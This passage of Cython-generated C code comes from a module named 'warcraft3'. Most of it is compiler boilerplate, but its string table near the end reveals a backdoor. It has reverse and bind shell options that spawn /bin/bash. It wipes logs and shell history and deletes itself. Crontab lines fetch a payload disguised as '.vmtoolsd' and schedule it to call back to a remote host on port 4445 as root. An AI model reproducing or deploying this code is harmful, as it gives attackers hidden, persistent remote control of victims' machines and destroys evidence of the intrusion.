  524. #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize
  525. #else
  526. #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString
  527. #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize
  528. #endif
  529. #define __Pyx_PyObject_AsWritableString(s) ((char*) __Pyx_PyObject_AsString(s))
  530. #define __Pyx_PyObject_AsWritableSString(s) ((signed char*) __Pyx_PyObject_AsString(s))
  531. #define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s))
  532. #define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s))
  533. #define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s))
  534. #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s)
  535. #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s)
  536. #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s)
  537. #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s)
  538. #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s)
  539. #if PY_MAJOR_VERSION < 3
  540. static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u)
  541. {
  542. const Py_UNICODE *u_end = u;
  543. while (*u_end++) ;
  544. return (size_t)(u_end - u - 1);
  545. }
  546. #else
  547. #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen
  548. #endif
  549. #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u))
  550. #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode
  551. #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode
  552. #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj)
  553. #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None)
  554. #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False))
  555. static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*);
  556. static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x);
  557. static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*);
  558. static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t);
  559. #if CYTHON_ASSUME_SAFE_MACROS
  560. #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x))
  561. #else
  562. #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x)
  563. #endif
  564. #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x))
  565. #if PY_MAJOR_VERSION >= 3
  566. #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x))
  567. #else
  568. #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x))
  569. #endif
  570. #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x))
  571. #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII
  572. static int __Pyx_sys_getdefaultencoding_not_ascii;
  573. static int __Pyx_init_sys_getdefaultencoding_params(void) {
  574. PyObject* sys;
  575. PyObject* default_encoding = NULL;
  576. PyObject* ascii_chars_u = NULL;
  577. PyObject* ascii_chars_b = NULL;
  578. const char* default_encoding_c;
  579. sys = PyImport_ImportModule("sys");
  580. if (!sys) goto bad;
  581. default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL);
  582. Py_DECREF(sys);
  583. if (!default_encoding) goto bad;
  584. default_encoding_c = PyBytes_AsString(default_encoding);
  585. if (!default_encoding_c) goto bad;
  586. if (strcmp(default_encoding_c, "ascii") == 0) {
  587. __Pyx_sys_getdefaultencoding_not_ascii = 0;
  588. } else {
  589. char ascii_chars[128];
  590. int c;
  591. for (c = 0; c < 128; c++) {
  592. ascii_chars[c] = c;
  593. }
  594. __Pyx_sys_getdefaultencoding_not_ascii = 1;
  595. ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL);
  596. if (!ascii_chars_u) goto bad;
  597. ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL);
  598. if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) {
  599. PyErr_Format(
  600. PyExc_ValueError,
  601. "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.",
  602. default_encoding_c);
  603. goto bad;
  604. }
  605. Py_DECREF(ascii_chars_u);
  606. Py_DECREF(ascii_chars_b);
  607. }
  608. Py_DECREF(default_encoding);
  609. return 0;
  610. bad:
  611. Py_XDECREF(default_encoding);
  612. Py_XDECREF(ascii_chars_u);
  613. Py_XDECREF(ascii_chars_b);
  614. return -1;
  615. }
  616. #endif
  617. #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3
  618. #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL)
  619. #else
  620. #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL)
  621. #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT
  622. static char* __PYX_DEFAULT_STRING_ENCODING;
  623. static int __Pyx_init_sys_getdefaultencoding_params(void) {
  624. PyObject* sys;
  625. PyObject* default_encoding = NULL;
  626. char* default_encoding_c;
  627. sys = PyImport_ImportModule("sys");
  628. if (!sys) goto bad;
  629. default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL);
  630. Py_DECREF(sys);
  631. if (!default_encoding) goto bad;
  632. default_encoding_c = PyBytes_AsString(default_encoding);
  633. if (!default_encoding_c) goto bad;
  634. __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c));
  635. if (!__PYX_DEFAULT_STRING_ENCODING) goto bad;
  636. strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c);
  637. Py_DECREF(default_encoding);
  638. return 0;
  639. bad:
  640. Py_XDECREF(default_encoding);
  641. return -1;
  642. }
  643. #endif
  644. #endif
  645. /* Test for GCC > 2.95 */
  646. #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95)))
  647. #define likely(x) __builtin_expect(!!(x), 1)
  648. #define unlikely(x) __builtin_expect(!!(x), 0)
  649. #else /* !__GNUC__ or GCC < 2.95 */
  650. #define likely(x) (x)
  651. #define unlikely(x) (x)
  652. #endif /* __GNUC__ */
  653. static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; }
  654. static PyObject *__pyx_m;
  655. static PyObject *__pyx_d;
  656. static PyObject *__pyx_b;
  657. static PyObject *__pyx_cython_runtime;
  658. static PyObject *__pyx_empty_tuple;
  659. static PyObject *__pyx_empty_bytes;
  660. static PyObject *__pyx_empty_unicode;
  661. static int __pyx_lineno;
  662. static int __pyx_clineno = 0;
  663. static const char * __pyx_cfilenm= __FILE__;
  664. static const char *__pyx_filename;
  665. static const char *__pyx_f[] = {
  666. "warcraft3.py",
  667. };
  668. /*--- Type declarations ---*/
  669. /* --- Runtime support code (head) --- */
  670. /* Refnanny.proto */
  671. #ifndef CYTHON_REFNANNY
  672. #define CYTHON_REFNANNY 0
  673. #endif
  674. #if CYTHON_REFNANNY
  675. typedef struct {
  676. void (*INCREF)(void*, PyObject*, int);
  677. void (*DECREF)(void*, PyObject*, int);
  678. void (*GOTREF)(void*, PyObject*, int);
  679. void (*GIVEREF)(void*, PyObject*, int);
  680. void* (*SetupContext)(const char*, int, const char*);
  681. void (*FinishContext)(void**);
  682. } __Pyx_RefNannyAPIStruct;
  683. static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL;
  684. static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname);
  685. #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL;
  686. #ifdef WITH_THREAD
  687. #define __Pyx_RefNannySetupContext(name, acquire_gil)\
  688. if (acquire_gil) {\
  689. PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\
  690. __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\
  691. PyGILState_Release(__pyx_gilstate_save);\
  692. } else {\
  693. __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\
  694. }
  695. #else
  696. #define __Pyx_RefNannySetupContext(name, acquire_gil)\
  697. __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__)
  698. #endif
  699. #define __Pyx_RefNannyFinishContext()\
  700. __Pyx_RefNanny->FinishContext(&__pyx_refnanny)
  701. #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__)
  702. #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__)
  703. #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__)
  704. #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__)
  705. #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0)
  706. #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0)
  707. #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0)
  708. #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0)
  709. #else
  710. #define __Pyx_RefNannyDeclarations
  711. #define __Pyx_RefNannySetupContext(name, acquire_gil)
  712. #define __Pyx_RefNannyFinishContext()
  713. #define __Pyx_INCREF(r) Py_INCREF(r)
  714. #define __Pyx_DECREF(r) Py_DECREF(r)
  715. #define __Pyx_GOTREF(r)
  716. #define __Pyx_GIVEREF(r)
  717. #define __Pyx_XINCREF(r) Py_XINCREF(r)
  718. #define __Pyx_XDECREF(r) Py_XDECREF(r)
  719. #define __Pyx_XGOTREF(r)
  720. #define __Pyx_XGIVEREF(r)
  721. #endif
  722. #define __Pyx_XDECREF_SET(r, v) do {\
  723. PyObject *tmp = (PyObject *) r;\
  724. r = v; __Pyx_XDECREF(tmp);\
  725. } while (0)
  726. #define __Pyx_DECREF_SET(r, v) do {\
  727. PyObject *tmp = (PyObject *) r;\
  728. r = v; __Pyx_DECREF(tmp);\
  729. } while (0)
  730. #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0)
  731. #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0)
  732. /* PyObjectGetAttrStr.proto */
  733. #if CYTHON_USE_TYPE_SLOTS
  734. static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) {
  735. PyTypeObject* tp = Py_TYPE(obj);
  736. if (likely(tp->tp_getattro))
  737. return tp->tp_getattro(obj, attr_name);
  738. #if PY_MAJOR_VERSION < 3
  739. if (likely(tp->tp_getattr))
  740. return tp->tp_getattr(obj, PyString_AS_STRING(attr_name));
  741. #endif
  742. return PyObject_GetAttr(obj, attr_name);
  743. }
  744. #else
  745. #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n)
  746. #endif
  747. /* GetBuiltinName.proto */
  748. static PyObject *__Pyx_GetBuiltinName(PyObject *name);
  749. /* RaiseArgTupleInvalid.proto */
  750. static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact,
  751. Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found);
  752. /* RaiseDoubleKeywords.proto */
  753. static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name);
  754. /* ParseKeywords.proto */
  755. static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\
  756. PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\
  757. const char* function_name);
  758. /* GetModuleGlobalName.proto */
  759. static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name);
  760. /* PyFunctionFastCall.proto */
  761. #if CYTHON_FAST_PYCALL
  762. #define __Pyx_PyFunction_FastCall(func, args, nargs)\
  763. __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL)
  764. #if 1 || PY_VERSION_HEX < 0x030600B1
  765. static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs);
  766. #else
  767. #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs)
  768. #endif
  769. #endif
  770. /* PyCFunctionFastCall.proto */
  771. #if CYTHON_FAST_PYCCALL
  772. static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs);
  773. #else
  774. #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL)
  775. #endif
  776. /* PyObjectCall.proto */
  777. #if CYTHON_COMPILING_IN_CPYTHON
  778. static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw);
  779. #else
  780. #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw)
  781. #endif
  782. /* PyObjectCallMethO.proto */
  783. #if CYTHON_COMPILING_IN_CPYTHON
  784. static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg);
  785. #endif
  786. /* PyObjectCallOneArg.proto */
  787. static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg);
  788. /* PyThreadStateGet.proto */
  789. #if CYTHON_FAST_THREAD_STATE
  790. #define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate;
  791. #define __Pyx_PyThreadState_assign __pyx_tstate = PyThreadState_GET();
  792. #else
  793. #define __Pyx_PyThreadState_declare
  794. #define __Pyx_PyThreadState_assign
  795. #endif
  796. /* SaveResetException.proto */
  797. #if CYTHON_FAST_THREAD_STATE
  798. #define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb)
  799. static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);
  800. #define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb)
  801. static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb);
  802. #else
  803. #define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb)
  804. #define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb)
  805. #endif
  806. /* PyErrExceptionMatches.proto */
  807. #if CYTHON_FAST_THREAD_STATE
  808. #define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err)
  809. static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err);
  810. #else
  811. #define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err)
  812. #endif
  813. /* GetException.proto */
  814. #if CYTHON_FAST_THREAD_STATE
  815. #define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb)
  816. static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);
  817. #else
  818. static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb);
  819. #endif
  820. /* None.proto */
  821. static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname);
  822. /* PyObjectCallNoArg.proto */
  823. #if CYTHON_COMPILING_IN_CPYTHON
  824. static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func);
  825. #else
  826. #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL)
  827. #endif
  828. /* RaiseTooManyValuesToUnpack.proto */
  829. static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected);
  830. /* RaiseNeedMoreValuesToUnpack.proto */
  831. static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index);
  832. /* IterFinish.proto */
  833. static CYTHON_INLINE int __Pyx_IterFinish(void);
  834. /* UnpackItemEndCheck.proto */
  835. static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected);
  836. /* Import.proto */
  837. static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level);
  838. /* ImportFrom.proto */
  839. static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name);
  840. /* FetchCommonType.proto */
  841. static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type);
  842. /* CythonFunction.proto */
  843. #define __Pyx_CyFunction_USED 1
  844. #include <structmember.h>
  845. #define __Pyx_CYFUNCTION_STATICMETHOD 0x01
  846. #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02
  847. #define __Pyx_CYFUNCTION_CCLASS 0x04
  848. #define __Pyx_CyFunction_GetClosure(f)\
  849. (((__pyx_CyFunctionObject *) (f))->func_closure)
  850. #define __Pyx_CyFunction_GetClassObj(f)\
  851. (((__pyx_CyFunctionObject *) (f))->func_classobj)
  852. #define __Pyx_CyFunction_Defaults(type, f)\
  853. ((type *)(((__pyx_CyFunctionObject *) (f))->defaults))
  854. #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\
  855. ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g)
  856. typedef struct {
  857. PyCFunctionObject func;
  858. #if PY_VERSION_HEX < 0x030500A0
  859. PyObject *func_weakreflist;
  860. #endif
  861. PyObject *func_dict;
  862. PyObject *func_name;
  863. PyObject *func_qualname;
  864. PyObject *func_doc;
  865. PyObject *func_globals;
  866. PyObject *func_code;
  867. PyObject *func_closure;
  868. PyObject *func_classobj;
  869. void *defaults;
  870. int defaults_pyobjects;
  871. int flags;
  872. PyObject *defaults_tuple;
  873. PyObject *defaults_kwdict;
  874. PyObject *(*defaults_getter)(PyObject *);
  875. PyObject *func_annotations;
  876. } __pyx_CyFunctionObject;
  877. static PyTypeObject *__pyx_CyFunctionType = 0;
  878. #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\
  879. __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code)
  880. static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml,
  881. int flags, PyObject* qualname,
  882. PyObject *self,
  883. PyObject *module, PyObject *globals,
  884. PyObject* code);
  885. static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m,
  886. size_t size,
  887. int pyobjects);
  888. static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m,
  889. PyObject *tuple);
  890. static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m,
  891. PyObject *dict);
  892. static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m,
  893. PyObject *dict);
  894. static int __pyx_CyFunction_init(void);
  895. /* IncludeStringH.proto */
  896. #include <string.h>
  897. /* BytesEquals.proto */
  898. static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals);
  899. /* UnicodeEquals.proto */
  900. static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals);
  901. /* StrEquals.proto */
  902. #if PY_MAJOR_VERSION >= 3
  903. #define __Pyx_PyString_Equals __Pyx_PyUnicode_Equals
  904. #else
  905. #define __Pyx_PyString_Equals __Pyx_PyBytes_Equals
  906. #endif
  907. /* CLineInTraceback.proto */
  908. static int __Pyx_CLineForTraceback(int c_line);
  909. /* CodeObjectCache.proto */
  910. typedef struct {
  911. PyCodeObject* code_object;
  912. int code_line;
  913. } __Pyx_CodeObjectCacheEntry;
  914. struct __Pyx_CodeObjectCache {
  915. int count;
  916. int max_count;
  917. __Pyx_CodeObjectCacheEntry* entries;
  918. };
  919. static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL};
  920. static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line);
  921. static PyCodeObject *__pyx_find_code_object(int code_line);
  922. static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object);
  923. /* AddTraceback.proto */
  924. static void __Pyx_AddTraceback(const char *funcname, int c_line,
  925. int py_line, const char *filename);
  926. /* Print.proto */
  927. static int __Pyx_Print(PyObject*, PyObject *, int);
  928. #if CYTHON_COMPILING_IN_PYPY || PY_MAJOR_VERSION >= 3
  929. static PyObject* __pyx_print = 0;
  930. static PyObject* __pyx_print_kwargs = 0;
  931. #endif
  932. /* PrintOne.proto */
  933. static int __Pyx_PrintOne(PyObject* stream, PyObject *o);
  934. /* CIntToPy.proto */
  935. static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value);
  936. /* CIntFromPy.proto */
  937. static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *);
  938. /* CIntFromPy.proto */
  939. static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *);
  940. /* CheckBinaryVersion.proto */
  941. static int __Pyx_check_binary_version(void);
  942. /* InitStrings.proto */
  943. static int __Pyx_InitStrings(__Pyx_StringTabEntry *t);
  944. /* Module declarations from 'warcraft3' */
  945. #define __Pyx_MODULE_NAME "warcraft3"
  946. int __pyx_module_is_main_warcraft3 = 0;
  947. /* Implementation of 'warcraft3' */
  948. static PyObject *__pyx_builtin_exit;
  949. static PyObject *__pyx_builtin_open;
  950. static const char __pyx_k_a[] = "-a";
  951. static const char __pyx_k_b[] = "-b";
  952. static const char __pyx_k_i[] = "-i";
  953. static const char __pyx_k_p[] = "-p";
  954. static const char __pyx_k_r[] = "r";
  955. static const char __pyx_k_os[] = "os";
  956. static const char __pyx_k_end[] = "end";
  957. static const char __pyx_k_r_2[] = "-r";
  958. static const char __pyx_k_addr[] = "addr";
  959. static const char __pyx_k_args[] = "args";
  960. static const char __pyx_k_bind[] = "bind";
  961. static const char __pyx_k_call[] = "call";
  962. static const char __pyx_k_dest[] = "dest";
  963. static const char __pyx_k_dup2[] = "dup2";
  964. static const char __pyx_k_exit[] = "exit";
  965. static const char __pyx_k_file[] = "file";
  966. static const char __pyx_k_main[] = "__main__";
  967. static const char __pyx_k_name[] = "__name__";
  968. static const char __pyx_k_open[] = "open";
  969. static const char __pyx_k_path[] = "path";
  970. static const char __pyx_k_port[] = "port";
  971. static const char __pyx_k_test[] = "__test__";
  972. static const char __pyx_k_fcntl[] = "fcntl";
  973. static const char __pyx_k_flock[] = "flock";
  974. static const char __pyx_k_popen[] = "popen";
  975. static const char __pyx_k_print[] = "print";
  976. static const char __pyx_k_shell[] = "shell";
  977. static const char __pyx_k_accept[] = "accept";
  978. static const char __pyx_k_action[] = "action";
  979. static const char __pyx_k_addr_2[] = "--addr";
  980. static const char __pyx_k_bind_2[] = "--bind";
  981. static const char __pyx_k_client[] = "client";
  982. static const char __pyx_k_fileno[] = "fileno";
  983. static const char __pyx_k_getcwd[] = "getcwd";
  984. static const char __pyx_k_import[] = "__import__";
  985. static const char __pyx_k_listen[] = "listen";
  986. static const char __pyx_k_port_2[] = "--port";
  987. static const char __pyx_k_reason[] = "reason";
  988. static const char __pyx_k_remove[] = "remove";
  989. static const char __pyx_k_socket[] = "socket";
  990. static const char __pyx_k_AF_INET[] = "AF_INET";
  991. static const char __pyx_k_LOCK_EX[] = "LOCK_EX";
  992. static const char __pyx_k_LOCK_NB[] = "LOCK_NB";
  993. static const char __pyx_k_connect[] = "connect";
  994. static const char __pyx_k_options[] = "options";
  995. static const char __pyx_k_pidfile[] = "pidfile";
  996. static const char __pyx_k_reverse[] = "--reverse";
  997. static const char __pyx_k_bin_bash[] = "/bin/bash";
  998. static const char __pyx_k_clearLog[] = "clearLog";
  999. static const char __pyx_k_filename[] = "filename";
  1000. static const char __pyx_k_optparse[] = "optparse";
  1001. static const char __pyx_k_realpath[] = "realpath";
  1002. static const char __pyx_k_unsetLog[] = "unsetLog";
  1003. static const char __pyx_k_optParser[] = "optParser";
  1004. static const char __pyx_k_reverse_2[] = "reverse";
  1005. static const char __pyx_k_warcraft3[] = "warcraft3";
  1006. static const char __pyx_k_add_option[] = "add_option";
  1007. static const char __pyx_k_deleteSelf[] = "deleteSelf";
  1008. static const char __pyx_k_parse_args[] = "parse_args";
  1009. static const char __pyx_k_store_true[] = "store_true";
  1010. static const char __pyx_k_subprocess[] = "subprocess";
  1011. static const char __pyx_k_BindConnect[] = "BindConnect";
  1012. static const char __pyx_k_SOCK_STREAM[] = "SOCK_STREAM";
  1013. static const char __pyx_k_warcraft3_2[] = "/warcraft3";
  1014. static const char __pyx_k_OptionParser[] = "OptionParser";
  1015. static const char __pyx_k_rm_f_var_log[] = "rm -f /var/log/*";
  1016. static const char __pyx_k_warcraft3_py[] = "warcraft3.py";
  1017. static const char __pyx_k_appendCrontab[] = "appendCrontab";
  1018. static const char __pyx_k_unset_history[] = "unset history";
  1019. static const char __pyx_k_ReserveConnect[] = "ReserveConnect";
  1020. static const char __pyx_k_SingletonRunning[] = "SingletonRunning";
  1021. static const char __pyx_k_echo_bash_history[] = "echo '' > ~/.bash_history";
  1022. static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback";
  1023. static const char __pyx_k_Failed_to_Create_Shell_s[] = "[-] Failed to Create Shell : %s";
  1024. static const char __pyx_k_Failed_to_Create_Socket_s[] = "[-] Failed to Create Socket : %s";
  1025. static const char __pyx_k_There_is_another_shell_is_runni[] = "[-] There is another shell is running";
  1026. static const char __pyx_k_echo_0_0_root_wget_https_github[] = "echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab";
  1027. static const char __pyx_k_echo_30_0_root_vmtoolsd_r_a_a_b[] = "echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab";
  1028. static const char __pyx_k_echo_0_0_wget_https_github_org_c[] = "echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab";
  1029. static const char __pyx_k_echo_30_0_vmtoolsd_r_a_a_b_c_d_p[] = "echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab";
  1030. static PyObject *__pyx_n_s_AF_INET;
  1031. static PyObject *__pyx_n_s_BindConnect;
  1032. static PyObject *__pyx_kp_s_Failed_to_Create_Shell_s;
  1033. static PyObject *__pyx_kp_s_Failed_to_Create_Socket_s;
  1034. static PyObject *__pyx_n_s_LOCK_EX;
  1035. static PyObject *__pyx_n_s_LOCK_NB;
  1036. static PyObject *__pyx_n_s_OptionParser;
  1037. static PyObject *__pyx_n_s_ReserveConnect;
  1038. static PyObject *__pyx_n_s_SOCK_STREAM;
  1039. static PyObject *__pyx_n_s_SingletonRunning;
  1040. static PyObject *__pyx_kp_s_There_is_another_shell_is_runni;
  1041. static PyObject *__pyx_kp_s_a;
  1042. static PyObject *__pyx_n_s_accept;
  1043. static PyObject *__pyx_n_s_action;
  1044. static PyObject *__pyx_n_s_add_option;
  1045. static PyObject *__pyx_n_s_addr;
  1046. static PyObject *__pyx_kp_s_addr_2;
  1047. static PyObject *__pyx_n_s_appendCrontab;
  1048. static PyObject *__pyx_n_s_args;
  1049. static PyObject *__pyx_kp_s_b;
  1050. static PyObject *__pyx_kp_s_bin_bash;
  1051. static PyObject *__pyx_n_s_bind;
  1052. static PyObject *__pyx_kp_s_bind_2;
  1053. static PyObject *__pyx_n_s_call;
  1054. static PyObject *__pyx_n_s_clearLog;
  1055. static PyObject *__pyx_n_s_client;
  1056. static PyObject *__pyx_n_s_cline_in_traceback;
  1057. static PyObject *__pyx_n_s_connect;
  1058. static PyObject *__pyx_n_s_deleteSelf;
  1059. static PyObject *__pyx_n_s_dest;
  1060. static PyObject *__pyx_n_s_dup2;
  1061. static PyObject *__pyx_kp_s_echo_0_0_root_wget_https_github;
  1062. static PyObject *__pyx_kp_s_echo_0_0_wget_https_github_org_c;
  1063. static PyObject *__pyx_kp_s_echo_30_0_root_vmtoolsd_r_a_a_b;
  1064. static PyObject *__pyx_kp_s_echo_30_0_vmtoolsd_r_a_a_b_c_d_p;
  1065. static PyObject *__pyx_kp_s_echo_bash_history;
  1066. static PyObject *__pyx_n_s_end;
  1067. static PyObject *__pyx_n_s_exit;
  1068. static PyObject *__pyx_n_s_fcntl;
  1069. static PyObject *__pyx_n_s_file;
  1070. static PyObject *__pyx_n_s_filename;
  1071. static PyObject *__pyx_n_s_fileno;
  1072. static PyObject *__pyx_n_s_flock;
  1073. static PyObject *__pyx_n_s_getcwd;
  1074. static PyObject *__pyx_kp_s_i;
  1075. static PyObject *__pyx_n_s_import;
  1076. static PyObject *__pyx_n_s_listen;
